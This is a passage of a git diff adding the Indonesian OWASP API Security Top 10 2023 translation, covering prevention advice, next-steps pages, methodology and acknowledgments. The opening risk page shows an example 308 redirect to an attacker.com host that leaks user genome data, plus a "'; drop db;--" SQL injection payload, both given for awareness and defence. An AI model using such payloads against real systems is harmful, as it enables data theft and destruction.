dikendalikan oleh penyerang. + +### Skenario #2 + +Sebuah API terintegrasi dengan penyedia layanan pihak ketiga untuk menyimpan secara aman informasi medis sensitif pengguna. Data dikirim melalui koneksi aman menggunakan permintaan HTTP seperti di bawah ini: + +``` +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +Aktor jahat menemukan cara untuk mengkompromikan API pihak ketiga dan mulai memberikan respons `308 Permanent Redirect` untuk permintaan seperti di atas. + +``` +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +Karena API mengikuti pengalihan dari layanan pihak ketiga tanpa mempertimbangkannya, ia akan mengirimkan permintaan yang sama persis termasuk data sensitif pengguna, namun kali ini ke server penyerang. + +### Skenario #3 + +Seorang penyerang dapat menyiapkan repositori git yang diberi nama `'; drop db;--`. + +Sekarang, ketika integrasi dari aplikasi yang diserang dilakukan dengan repositori jahat ini, muatan injeksi SQL digunakan pada aplikasi yang membangun kueri SQL yang percaya bahwa nama repositori adalah masukan yang aman. + +## Cara Mencegah + +* Saat mengevaluasi penyedia layanan, nilai postur keamanan API mereka. +* Pastikan semua interaksi API terjadi melalui saluran komunikasi yang aman (TLS). +* Selalu validasi dan lakukan sanitasi data yang diterima dari API terintegrasi sebelum menggunakannya. +* Pelihara daftar whitelist lokasi yang dikenal API terintegrasi yang dapat mengalihkan + permintaan Anda: jangan mengikuti pengalihan tanpa pertimbangan. + + +## Referensi + +### OWASP + +* [Cheat Sheet Keamanan Layanan Web][1] +* [Kekurangan Injeksi][2] +* [Cheat Sheet Validasi Input][3] +* [Cheat Sheet Pencegahan Injeksi][4] +* [Cheat Sheet Perlindungan Lapisan Transport][5] +* [Cheat Sheet Pengalihan dan Pengalihan Tanpa Validasi][6] + +### Eksternal + +* [CWE-20: Validasi Input yang Tidak Tepat][7] +* [CWE-200: Paparan Informasi Sensitif kepada Aktor yang Tidak Diotorisasi][8] +* [CWE-319: Pengiriman Teks Terbuka Informasi Sensitif][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html \ No newline at end of file diff --git a/editions/2023/id/0xb0-next-devs.md b/editions/2023/id/0xb0-next-devs.md new file mode 100644 index 000000000..8b9e200e7 --- /dev/null +++ b/editions/2023/id/0xb0-next-devs.md @@ -0,0 +1,32 @@ +# Apa Selanjutnya untuk Pengembang + +Tugas untuk membuat dan memelihara aplikasi yang aman, atau memperbaiki aplikasi yang sudah ada, bisa menjadi sulit. Ini tidak berbeda untuk API. + +Kami percaya bahwa pendidikan dan kesadaran adalah faktor kunci dalam menulis perangkat lunak yang aman. Semua yang diperlukan untuk mencapai tujuan ini bergantung pada **mendirikan dan menggunakan proses keamanan yang dapat diulang serta kendali keamanan standar**. + +OWASP menyediakan banyak sumber daya gratis dan terbuka untuk membantu Anda mengatasi masalah keamanan. Silakan kunjungi [halaman Proyek OWASP][1] untuk daftar komprehensif proyek yang tersedia. + +| | | +|-|-| +| **Pendidikan** | [Pemandu Keamanan Aplikasi][2] seharusnya memberi Anda gambaran baik tentang proyek-proyek yang tersedia untuk setiap tahap/fase Siklus Hidup Pengembangan Perangkat Lunak (SDLC). Untuk pembelajaran/latihan langsung, Anda dapat memulainya dengan [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] atau [OWASP Juice Shop][4]: keduanya memiliki API yang rentan secara disengaja. [Proyek Direktori Aplikasi Web Rentan OWASP][5] menyediakan daftar aplikasi yang rentan secara disengaja: Anda akan menemukan beberapa API rentan lainnya di sana. Anda juga dapat menghadiri sesi pelatihan [Konferensi OWASP AppSec][6], atau [bergabung dengan cabang lokal Anda][7]. | +| **Persyaratan Keamanan** | Keamanan seharusnya menjadi bagian setiap proyek sejak awal. Ketika mendefinisikan persyaratan, penting untuk mendefinisikan apa arti "aman" untuk proyek tersebut. OWASP merekomendasikan Anda menggunakan [Standar Verifikasi Keamanan Aplikasi OWASP (ASVS)][8] sebagai panduan untuk menetapkan persyaratan keamanan. Jika Anda mengalihdayakan, pertimbangkan [Lampiran Kontrak Perangkat Lunak Aman OWASP][9], yang harus disesuaikan sesuai dengan hukum dan regulasi setempat. | +| **Arsitektur Keamanan** | Keamanan seharusnya tetap menjadi perhatian selama semua tahapan proyek. [Seri Contekan OWASP][10] adalah titik awal yang baik untuk panduan tentang bagaimana mendesain keamanan selama fase arsitektur. Di antara banyak lainnya, Anda akan menemukan [Contekan Keamanan REST][11] dan [Contekan Penilaian REST][12], serta [Contekan GraphQL][13]. | +| **Kendali Keamanan Standar** | Mengadopsi kendali keamanan standar mengurangi risiko memasukkan kelemahan keamanan saat menulis logika Anda sendiri. Meskipun banyak kerangka kerja modern sekarang dilengkapi dengan kendali standar yang efektif, [Kendali Proaktif OWASP][14] memberikan pandangan yang baik tentang kendali keamanan apa yang seharusnya Anda sertakan dalam proyek Anda. OWASP juga menyediakan beberapa perpustakaan dan alat yang mungkin Anda temukan berguna, seperti kendali validasi. | +| **Siklus Hidup Pengembangan Perangkat Lunak Aman** | Anda dapat menggunakan [Model Kematangan Jaminan Perangkat Lunak OWASP (SAMM)][15] untuk meningkatkan proses pembuatan API Anda. Beberapa proyek OWASP lainnya tersedia untuk membantu Anda dalam berbagai tahap pengembangan API, misalnya, [Panduan Tinjauan Kode OWASP][16]. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ \ No newline at end of file diff --git a/editions/2023/id/0xb1-next-devsecops.md b/editions/2023/id/0xb1-next-devsecops.md new file mode 100644 index 000000000..3e0c1a95a --- /dev/null +++ b/editions/2023/id/0xb1-next-devsecops.md @@ -0,0 +1,23 @@ +# Apa Selanjutnya untuk DevSecOps + +Karena pentingnya mereka dalam arsitektur aplikasi modern, membangun API yang aman adalah suatu keharusan. Keamanan tidak boleh diabaikan, dan itu harus menjadi bagian dari seluruh siklus pengembangan. Pemindaian dan pengujian penetrasi setahun sekali tidak lagi cukup. + +DevSecOps harus bergabung dengan upaya pengembangan, memfasilitasi pengujian keamanan berkelanjutan di seluruh siklus pengembangan perangkat lunak. Tujuan Anda harus meningkatkan jalur pengembangan dengan otomatisasi keamanan, tanpa mempengaruhi kecepatan pengembangan. + +Jika ragu, tetap terinformasi, dan lihat [Manifesto DevSecOps][1]. + +| | | +|-|-| +| **Mengerti Model Ancaman** | Prioritas pengujian berasal dari model ancaman. Jika Anda belum memilikinya, pertimbangkan untuk menggunakan [Standar Verifikasi Keamanan Aplikasi OWASP (ASVS)][2], dan [Panduan Pengujian OWASP][3] sebagai masukan. Melibatkan tim pengembangan akan membantu membuat mereka lebih sadar akan keamanan. | +| **Mengerti SDLC** | Bergabunglah dengan tim pengembangan untuk lebih memahami Siklus Hidup Pengembangan Perangkat Lunak. Kontribusi Anda pada pengujian keamanan berkelanjutan harus sesuai dengan orang, proses, dan alat. Semua orang harus setuju dengan proses tersebut, sehingga tidak ada gesekan atau resistensi yang tidak perlu. | +| **Strategi Pengujian** | Karena pekerjaan Anda tidak boleh mempengaruhi kecepatan pengembangan, Anda harus bijak memilih teknik terbaik (sederhana, cepat, paling akurat) untuk memverifikasi persyaratan keamanan. [Kerangka Pengetahuan Keamanan OWASP][4] dan [Standar Verifikasi Keamanan Aplikasi OWASP][2] dapat menjadi sumber terbaik persyaratan keamanan fungsional dan non-fungsional. Terdapat sumber-sumber bagus lainnya untuk [proyek][5] dan [alat][6] yang serupa dengan yang ditawarkan oleh [komunitas DevSecOps][7]. | +| **Mencapai Cakupan dan Akurasi** | Anda adalah jembatan antara tim pengembangan dan tim operasi. Untuk mencapai cakupan, Anda harus fokus tidak hanya pada fungsionalitas, tetapi juga orkestrasi. Bekerja erat dengan tim pengembangan dan operasi sejak awal sehingga Anda dapat mengoptimalkan waktu dan usaha Anda. Anda harus bertujuan untuk mencapai suatu tahap ketika keamanan esensial diverifikasi secara berkelanjutan. | +| **Komunikasikan Temuan dengan Jelas** | Memberikan nilai dengan sedikit atau tanpa gesekan. Sampaikan temuan dengan tepat waktu, dalam alat yang digunakan tim pengembangan (bukan file PDF). Bergabung dengan tim pengembangan untuk mengatasi temuan. Manfaatkan kesempatan ini untuk memberi mereka pendidikan, jelaskan kelemahan dan bagaimana kelemahan bisa disalahgunakan, termasuk skenario serangan untuk membuatnya nyata. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: http://devsecops.org \ No newline at end of file diff --git a/editions/2023/id/0xd0-about-data.md b/editions/2023/id/0xd0-about-data.md new file mode 100644 index 000000000..dce0a3e94 --- /dev/null +++ b/editions/2023/id/0xd0-about-data.md @@ -0,0 +1,39 @@ +# Metodologi dan Data + +## Ringkasan + +Untuk pembaruan daftar ini, tim Keamanan API OWASP menggunakan metodologi yang sama dengan yang digunakan untuk daftar tahun 2019 yang sukses dan banyak diadopsi, dengan tambahan [Panggilan Data Publik][1] selama 3 bulan. Sayangnya, panggilan data ini tidak menghasilkan data yang memungkinkan analisis statistik yang relevan mengenai masalah keamanan API yang paling umum. + +Namun, dengan industri keamanan API yang lebih matang dan mampu memberikan umpan balik dan wawasan langsung, proses pembaruan terus berlanjut dengan menggunakan metodologi yang sama seperti sebelumnya. + +Sampai di sini, kami percaya bahwa kami telah memiliki dokumen kesadaran yang fokus ke depan untuk tiga atau empat tahun mendatang, yang lebih berfokus pada masalah khusus API modern. Tujuan dari proyek ini bukanlah menggantikan daftar 10 besar lainnya, tetapi sebaliknya untuk menangani risiko keamanan API teratas yang ada dan yang akan datang, yang menurut kami harus diperhatikan oleh industri. + +## Metodologi + +Dalam fase pertama, data yang tersedia secara publik tentang insiden keamanan API dikumpulkan, ditinjau, dan dikategorikan. Data tersebut dikumpulkan dari platform bug bounty dan laporan yang tersedia secara publik. Hanya masalah yang dilaporkan antara 2019 dan 2022 yang dipertimbangkan. Data ini digunakan untuk memberikan gambaran pada tim mengenai ke arah mana daftar 10 besar sebelumnya seharusnya berkembang serta membantu mengatasi bias atas data yang disumbangkan. + +[Panggilan Data Publik][1] berjalan mulai dari 1 September hingga 30 November 2022. Secara paralel, tim proyek mulai mendiskusikan apa yang telah berubah sejak 2019. Diskusi tersebut mencakup dampak dari daftar sebelumnya, umpan balik yang diterima dari komunitas, dan tren baru dalam keamanan API. + +Tim proyek mempromosikan pertemuan dengan spesialis tentang ancaman keamanan API yang relevan untuk mendapatkan wawasan tentang bagaimana korban terpengaruh dan bagaimana ancaman-ancaman tersebut dapat diatasi. + +Upaya ini menghasilkan draf awal tentang apa yang tim percayai sebagai sepuluh risiko keamanan API yang paling kritis. [Metodologi Penilaian Risiko OWASP][2] digunakan untuk melakukan analisis risiko. Peringkat prevalensi diputuskan dari konsensus di antara anggota tim proyek, berdasarkan pengalaman mereka di lapangan. Untuk pertimbangan-pertimbangan tentang masalah ini, silakan lihat bagian [Risiko Keamanan API][3]. + +Draf awal kemudian dibagikan untuk ditinjau oleh praktisi keamanan dengan pengalaman relevan di bidang keamanan API. Komentar mereka ditinjau, didiskusikan, dan jika berlaku, dimasukkan dalam dokumen. Dokumen yang dihasilkan [dipublikasikan sebagai Calon Rilis][4] untuk [diskusi terbuka][5]. Beberapa [kontribusi komunitas][6] dimasukkan ke dalam dokumen final. + +Daftar kontributor tersedia dalam bagian [Ucapan Terimakasih][7]. + +## Risiko Khusus API + +Daftar ini dibangun untuk mengatasi risiko keamanan yang lebih spesifik untuk API. + +Hal ini tidak berarti bahwa risiko keamanan aplikasi generik lainnya tidak ada dalam aplikasi berbasis API. Sebagai contoh, kami tidak memasukkan risiko seperti "Komponen yang Rentan dan Sudah Ketinggalan Zaman" atau "Injection", meskipun Anda mungkin menemukannya dalam aplikasi berbasis API. Risiko-risiko ini bersifat generik, mereka tidak berperilaku berbeda dalam API, dan eksploitasi mereka juga tidak berbeda. + +Tujuan kami adalah meningkatkan kesadaran tentang risiko keamanan yang memerlukan perhatian khusus dalam API. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/id/0xd1-acknowledgments.md b/editions/2023/id/0xd1-acknowledgments.md new file mode 100644 index 000000000..f9ca12f81 --- /dev/null +++ b/editions/2023/id/0xd1-acknowledgments.md @@ -0,0 +1,12 @@ +# Ucapan Terima Kasih + +## Ucapan Terima Kasih kepada Kontributor + +Kami ingin mengucapakn terima kasih kepada kontributor berikut ini yang telah berkontribusi secara terbuka melalui GitHub, atau melalui cara lainnya: + +247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8, +d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês +Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, +llegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan +Piyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj, +wenz, xplo1t-sec, Yaniv Balmas, ynvb diff --git a/editions/2023/id/images/cover.jpg b/editions/2023/id/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/id/images/cover.jpg differ diff --git a/editions/2023/id/images/front-cc.png b/editions/2023/id/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/id/images/front-cc.png differ diff --git a/editions/2023/id/images/front-wasp.png b/editions/2023/id/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/id/images/front-wasp.png differ diff --git a/editions/2023/id/images/license.png b/editions/2023/id/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/id/images/license.png differ diff --git a/editions/2023/id/images/owasp-logo.png b/editions/2023/id/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/id/images/owasp-logo.png differ diff --git a/editions/2023/mkdocs.yml b/editions/2023/mkdocs.yml index 2a5d7cb7d..e4f73e3d6 100644 --- a/editions/2023/mkdocs.yml +++ b/editions/2023/mkdocs.yml @@ -3,6 +3,8 @@ docs_dir: . extra: alternate: + - name: Bahasa (Indonesian) + lang: id - name: English lang: en - name: Français